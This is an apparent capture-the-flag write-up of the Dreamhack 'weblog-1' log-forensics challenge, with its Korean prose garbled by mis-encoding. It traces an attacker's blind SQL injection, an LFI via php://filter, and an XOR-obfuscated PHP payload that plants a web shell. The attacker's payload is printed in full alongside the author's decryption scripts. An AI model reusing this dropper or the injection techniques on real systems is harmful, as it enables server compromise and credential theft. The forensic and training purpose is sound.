1. ๋ฌธ์
https://dreamhack.io/wargame/challenges/71
weblog-1
์ฃผ์ด์ง ์ฝ๋์ ๋ก๊ทธ๋ฅผ ๋ถ์ํด ์ฃผ์ด์ง ์ง๋ฌธ์ ํด๋นํ๋ ๋ต์ ์ฐพ์๋ณด์ธ์. Reference Server-side Basic Server-side Advanced - SQL Injection
dreamhack.io
2. ํด๊ฒฐ ๊ณผ์
(1) ๋ฌธ์ ์ ์
- ๋จผ์ ํ์ทจ๋ admin ๊ณ์ ์ PW๋ฅผ ์์๋ด๋ ๋ฌธ์ ์๋ค.
(2) ๋ฌธ์ ํ์ผ ๋ถ์
- ๋ฌธ์ ํ์ผ์ ํตํด ๋ก๊ทธ์ธ์ username๊ณผ password๊ฐ ์ด๋ค์์ผ๋ก ์ ๋ ฅ๋๋์ง ํ์ธํ ์ ์์๋ค.
<form method="POST">
<div class="form-group">
<label for="username">username</label>
<input type="text" class="form-control" name="username" id="username" placeholder="username">
</div>
<div class="form-group">
<label for="passowrd">์ํธ</label>
<input type="password" class="form-control" name="password" id="password" placeholder="password">
</div>
<button type="submit" class="btn btn-default">Login</button>
</form>
- ๋ํ ๋ฌธ์ ์ ๋ต์ ์ฐพ์๋ผ ์ ์๋ ๋ก๊ทธํ์ผ์ ํ์ธํ ์ ์๋ค. (access.log)
๋ก๊ทธ ํ์ผ ๊ตฌ์กฐ
172.17.0.1 - - [02/Jun/2020:09:08:17 +0000] "GET /board.php HTTP/1.1" 200 782 "http://127.0.0.1:8000/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
IP ์ฃผ์ | 172.17.0.1 | ์์ฒญ์ ๋ณด๋ธ ํด๋ผ์ด์ธํธ์ IP ์ฃผ์ |
์๋ณ์ | - | ์ฌ์ฉ์ ์๋ณ ์ ๋ณด, ์ฃผ๋ก - |
์ฌ์ฉ์ ์ด๋ฆ | - | ์ธ์ฆ๋ ์ฌ์ฉ์์ ์ด๋ฆ |
์์ฒญ ์๊ฐ | [02/Jun/2020:09:08:17 +0000] | ์์ฒญ์ด ๋ฐ์ํ ์๊ฐ๊ณผ ํ์์กด |
์์ฒญ ๋ฉ์๋ | GET | ์์ฒญ ๋ฐฉ์ (GET, POST ๋ฑ) |
์์ฒญ URL | /board.php | ์์ฒญํ ๋ฆฌ์์ค ๊ฒฝ๋ก |
HTTP ๋ฒ์ | HTTP/1.1 | ์ฌ์ฉ๋ HTTP ํ๋กํ ์ฝ ๋ฒ์ |
์ํ ์ฝ๋ | 200 | ์๋ต ์ํ (200: ์ฑ๊ณต) |
์๋ต ํฌ๊ธฐ | 782 | ์ ์ก๋ ๋ฐ์ดํฐ ํฌ๊ธฐ (๋ฐ์ดํธ) |
์ฐธ์กฐ URL | http://127.0.0.1:8000/ | ์์ฒญ์ ๋ณด๋ธ ํ์ด์ง์ URL |
User-Agent | Mozilla/5.0 (Windows NT 10.0; ...) | ๋ธ๋ผ์ฐ์ ๋ฐ OS ์ ๋ณด |
์ผ๋จ admin ๊ณ์ ํ์ทจ์ ๋ํ ๋ฌธ์ ์ด๊ธฐ ๋๋ฌธ์ ๊ณต๊ฒฉ์๊ฐ admin ํค์๋๋ฅผ ๊ฒ์ํด๋ณด์๋ค.
๊ณต๊ฒฉ์๋ /admin, /adminer.php.swp, /CFIDE/administrator/ ๋ฑ ์ฌ๋ฌ ๊ฐ์ง URL์ ์์ฒญ์ ์๋ํ์ง๋ง ๋ชจ๋ 404(Not Found) ์๋ต์ด ๋ฐ์ํ๊ธฐ ๋๋ฌธ์ ๋ค๋ฅธ ํค์๋๋ฅผ ๊ณ ๋ คํด์ผ ํ๋ค.
๋ค์์ผ๋ก๋ ๋ก๊ทธํ์ผ์์ /login์ ๊ฒ์ํด์ Post ์์ฒญ ์ค ์ฑ๊ณตํ ์์ฒญ(200)์ ์ฐพ์๋ณด์๋ค. ์ฌ๋ฌ ์๋์์ 200 ์๋ต์ ๋ฐ์์ง๋ง ์ ์๋ฏธํ ๋ถ์์ ํ์ง ๋ชปํ์๊ณ , ๊ทธ ๋ค์์ผ๋ก๋ SQL INJECTION์ ์ผ๋ํด๋๋ฉฐ password ํค์๋๋ฅผ ๊ฒ์ํด๋ณด์๋ค.
์ค์ ๋ก ํจ์ค์๋๋ฅผ ์์๋ด๊ธฐ ์ํด /board.php ๊ฒฝ๋ก์์ ord(substr(database(), 1,1)) ์ฟผ๋ฆฌ๋ฅผ ํตํด Blind SQL Injection ์ ์ฌ์ฉํ ๊ฒ์ ์ ์ ์๋ค. ๋ฟ๋ง ์๋๋ผ ํจ์ค์๋์ ๋ํ ๊ณต๊ฒฉ ์ด์ ์ ํ ์ด๋ธ ์ ๋ณด์ ๋ํด ์์๋ด๊ธฐ ์ํด information_schema.columns ๋ฅผ ์ฌ์ฉํ ๊ฒ์ ์์๋ผ ์ ์์๋ค. (ํ ์ด๋ธ๋ช ๊ณผ ์นผ๋ฝ๊ฐ์ ์๊ธฐ ์ํจ)
- group_concat(username, 0x3a, password): admin:๋น๋ฐ๋ฒํธ ํํ๋ก ๊ฒฐ๊ณผ๋ฅผ ์ถ์ถ
- ord(substr(...))=32 : ๊ณต๋ฐฑ์ ๊ธฐ์ค์ผ๋ก ๊ธ์๋ฅผ ํ๋์ฉ ์ถ์ถํ๋ ๋ฐฉ๋ฒ
์ค๊ฐ์ ๋ก๊ทธ ํ์ผ์ ๋ณด๊ธฐ๊ฐ ๋๋ฌด ์ด๋ ค์์ ๊ตฌ๊ธ๋งํด๋ดค๋๋ฐ ์์ ๋ก ๋ถ์ํ๋ ์ข์ ๋ฐฉ๋ฒ์ด ์์๋ค!
์์ ํ์ผ๋ก ๋ถ๋ฌ์ ๊ณต๋ฐฑ์ด๋ " ๋ฑ์ผ๋ก ์ ์ ํ๊ฒ ๋๋์ด์ ๋ด์ฃผ๋ฉด ๋๋ค.
์ธ์ ์ ์๋๋ฅผ ๊ฒํ ํด๋ณด๋ฉด ์๋ต๊ฐ์ ๊ธธ์ด๊ฐ ๋ค๋ฅธ๊ฒ์ด ํ๋๋ฐ ๋๋จธ์ง๋ ๋ณดํต 841์ด ๋จ๊ณ , ์ผ๋ถ ์๋ต์๋ง 1192 ๋ฐ์ดํธ์ธ ์๋ต์ด ์กด์ฌํ๋ค.
ํด๋น ์๋ต๊ฐ์ด true ์ผ ๋์ ์๋ต๊ฒฐ๊ณผ๋ผ๊ณ ์๊ฐํ์ฌ ์ถ์ถํด๋ณด์๋ค.
์ถ์ถ ์ฝ๋
import re
def extract_password_from_logs(log_file_path):
password_chars = [] #ํจ์ค์๋ ๋ฌธ์๋ค์ ์ ์ฅํ ๋ฆฌ์คํธ
try:
with open(log_file_path, 'r') as file:
for line in file:
# board.php์ 1192๋ฅผ ํฌํจํ๋ ๋ผ์ธ ์ฐพ๊ธฐ
if '1192' in line:
# ์์น ์ถ์ถ (ํ์ธ์ฉ)
position_match = re.search(r'substr\(.+?,\s*(\d+)', line)
if position_match:
position = int(position_match.group(1))
# ord ๊ฐ ์ถ์ถ (์ซ์๋ง)
ord_match = re.search(r'ord.+?=(\d+)', line)
if ord_match:
ord_value = int(ord_match.group(1))
#print(f"์ฐพ์ ord ๊ฐ: {ord_value}")
char = chr(ord_value)
#print(f"๋ณํ๋ ๋ฌธ์: {char}")
password_chars.append((position, char))
except FileNotFoundError:
print("๋ก๊ทธ ํ์ผ์ ์ฐพ์ ์ ์์ต๋๋ค!")
return "๋ก๊ทธ ํ์ผ์ ์ฐพ์ ์ ์์ต๋๋ค."
except Exception as e:
print(f"์๋ฌ ๋ฐ์: {str(e)}")
return f"์๋ฌ ๋ฐ์: {str(e)}"
# ๊ฒฐ๊ณผ ์ถ๋ ฅ
print(f"์์ง๋ ๋ฌธ์๋ค: {password_chars}")
# ์์น๋ฅผ ๊ธฐ์ค์ผ๋ก ์ ๋ ฌํ๊ณ ๋ฌธ์๋ค์ ๊ฒฐํฉ
if password_chars:
password_chars.sort(key=lambda x: x[0])
password = ''.join(char for _, char in password_chars)
return password
else:
return "ํจ์ค์๋ ์ถ์ถ ์คํจ"
def main():
log_file = "access.log"
print(f"๋ก๊ทธ ํ์ผ ๊ฒฝ๋ก: {log_file}")
extracted_password = extract_password_from_logs(log_file)
print(f"์ถ์ถ๋ ํจ์ค์๋: {extracted_password}")
if __name__ == "__main__":
main()
board:idx,board:title,board:contents,board:writer,users:idx,users:username,users:password,users:leveladmin:Th1s_1s_Adm1n_P@SS,guest:guestsimple_board
๋ฐ๋ผ์ ํจ์ค์๋๋ฅผ ์์๋ผ ์ ์์๋ค.
๋ค์ 1๋จ๊ณ๋ config.php ์ฝ๋๋ฅผ ์ถ์ถํ๋๋ฐ ์ฌ์ฉํ ํ์ด๋ก๋๋ฅผ ํ์ธํ๋ ๊ฒ์ด์๋ค.
๋ฌธ์ ํ์ผ์์ config ๋ฅผ ๊ฒ์ํด๋ณด๋ฉฐ ์์ฌ๋๋ ๋ถ๋ถ์ ์ฐพ์๋๋ค.
php:filter// ๋ผ๋ php wrapper๋ฅผ ์ด์ฉํด์ LFI ์ทจ์ฝ์ ์ ๊ณต๊ฒฉํ ํ์ ์ด ๋ณด์๋ค.
2๋จ๊ณ์ ๋ฌธ์ ๋ํ LFI ์ทจ์ฝ์ ๊ณผ ๊ด๋ จ๋ ๋ฌธ์ ์ด๋ค.
LFI ์ทจ์ฝ์ ์ ๊ณต๊ฒฉํ๋ ๋ถ๋ถ์ ๋ณด๋ฉด ์๋ ์ฝ๋๋ฅผ ์คํํ๋ ๋ถ๋ถ ๋ํ ํ์ธํ ์ ์์๋ค.
URL ์ธ์ฝ๋ฉ์ด ๋์ด์์ด ๋ณด๊ธฐ๊ฐ ์ด๋ ต๊ธฐ ๋๋ฌธ์ ๋์ฝ๋ฉ์ ์งํํด์ค ๋ค ์ค๋ฐ๊ฟ์ ๋ฃ์ด ๋ณด๊ธฐ ํธํด๊ฐ ์์ ํด์ฃผ์๋ค.
GET /admin/?page=memo.php&memo=%3C?php%20function%20m($l,$T=0){$K=date(%27Y-m-d%27);$_=strlen($l);$__=strlen($K);for($i=0;$i%3C$_;$i%2b%2b){for($j=0;$j%3C$__;%20$j%2b%2b){if($T){$l[$i]=$K[$j]^$l[$i];}else{$l[$i]=$l[$i]^$K[$j];}}}return%20$l;}%20m(%27bmha[tqp[gkjpajpw%27)(m(%27%2brev%2bsss%2blpih%2bqthke`w%2bmiecaw*tlt%27),m(%278;tlt$lae`av,%26LPPT%2b5*5$040$Jkp$Bkqj`%26-?w}wpai,%20[CAP_%26g%26Y-?%27));%20?%3E HTTP/1.1
GET /admin/?page=memo.php&memo=<?php
function m($l, $T = 0) {
$K = date('Y-m-d');
$_ = strlen($l);
$__ = strlen($K);
for ($i = 0; $i < $_; $i++) {
for ($j = 0; $j < $__; $j++) {
if ($T) {
$l[$i] = $K[$j] ^ $l[$i];
} else {
$l[$i] = $l[$i] ^ $K[$j];
}
}
}
return $l;
}
m('bmha[tqp[gkjpajpw')(
m('+rev+sss+lpih+qthke`w+miecaw*tlt'),
m('8;tlt$lae`av,&LPPT+5*5$040$Jkp$Bkqj`&-?w}wpai, [CAP_&g&Y-?')
);
?>
[์ฝ๋ ๋ถ์]
XOR ๊ธฐ๋ฐ ๋๋ ํ: m ํจ์๋ ํ์ฌ ๋ ์ง(Y-m-d ํ์)๋ฅผ ํค๋ก ์ ๋ ฅ ๋ฌธ์์ด๊ณผ XOR ์ฐ์ฐ์ ์ํ
- $T๊ฐ 0์ผ ๋๋ ์ํธํ, 1์ผ ๋๋ ๋ณตํธํ๋ฅผ ์๋ฏธ
- m('bmha[tqp[gkjpajpw') ๋ถ๋ถ์ XOR๋ก ๋ณตํธํ๋ ํ ์คํ๋ ์ฝ๋ ๋ฌธ์์ด
- date('Y-m-d')๊ฐ XOR ํค๋ก ์ฌ์ฉ๋๋ฏ๋ก, ํด๋น ๋ ์ง์๋ง ์ ํจํ ํ์ด๋ก๋์ด๋ค.
์ฆ, ์ด ์ฝ๋๋ LFI ์ทจ์ฝ์ ์ ์ด์ฉํด ์๋ฒ์ ์น์์ ์ ๋ก๋ํ๋ ์ฝ๋์ด๋ค. ์ฌ์ค ์น์์ ์ ๋ก๋ํ๋ ๊ฒ์ ๋ํ ๊ฒ์ด ์ด๋ฒ ๋ฌธ์ ์ ํต์ฌ์ธ ์ค ์์๋๋ฐ ๊ทธ ๋ค์ ๋ก๊ทธ๋ฅผ ๋ณด๋ฉด /var/lib/php/sessions/sess_ag4l8a5tbv8bkgqe9b9ull5732 ํ์ผ์ ์ ๊ทผํ์ฌ ์ธ์ ์ ๋ณด๋ฅผ ํ์ทจํ๋ ค๊ณ ํ๊ณ ์๋ค. ์ด ๋ฌธ์ ์ ์ ๋ต์ ํด๋น ํ์ผ๊ฒฝ๋ก์๋ค.
๋ค์ ๋ฌธ์ ์์ ์น์ ๊ฒฝ๋ก๋ฅผ ์ ๋ ฅํด๋ฌ๋ผ๊ณ ํ์ฌ์ ์์ฑํ๋ ๋ณตํธํ ์ฝ๋๋ฅผ ์คํํ์ฌ ์ํธํ๋์ด์๋ ๋ฌธ์์ด์ ๋ณตํธํํด์ฃผ์๋ค.
ํค์ธ ๋ ์ง๋ ๊ณต๊ฒฉ ๋น์์ ๋ ์ง๋ก, ๋ก๊ทธํ์ผ์์ ํ์ธํ ์ ์๋ค.
def xor_decrypt(encoded_str, date_str):
result = list(encoded_str)
# ๊ฐ ๋ฌธ์์ ๋ํด
for i in range(len(result)):
# ๋ ์ง ๋ฌธ์์ด์ ๋ชจ๋ ๋ฌธ์์ XOR
for j in range(len(date_str)):
result[i] = chr(ord(result[i]) ^ ord(date_str[j]))
return ''.join(result)
# ๊ณต๊ฒฉ ๋ ์ง
date_str = '2020-06-02'
encrypted_strings = [
'bmha[tqp[gkjpajpw',
'+rev+sss+lpih+qthke`w+miecaw*tlt',
'8;tlt$lae`av,&LPPT+5*5$040$Jkp$Bkqj`&-?w}wpai, [CAP_&g&Y-?'
]
# ๋ณตํธํ ์ํ
for enc_str in encrypted_strings:
decrypted = xor_decrypt(enc_str, date_str)
print(f"์ํธํ: {enc_str}")
print(f"๋ณตํธํ: {decrypted}\n")
[๊ฒฐ๊ณผ]
๋ฐ๋ผ์ ์ ๋ต์ /var/www/html/uploads/images.php ์ด๋ค.
๋ค์ ๋ฌธ์ ๋ ์น์์ ํตํด ์คํ๋ ๋ช ๋ น์ด๋ฅผ ์ ๋ ฅํ๋ ๊ฒ์ด๋ค.
๋ก๊ทธ ํ์ผ์ ๋ถ์ํด๋ณด๋ฉด ์ ๋ก๋๋ ์น์(images.php)์ ํตํด ์ฒ์ ์คํ๋ ๋ช ๋ น์ด๋ whoami ๋ผ๋ ๊ฒ์ ์ ์ ์๋ค.
์ด๋ ๊ฒ ์ต์ข ํ๋๊ทธ๋ฅผ ํ๋ํ ์ ์์๋ค.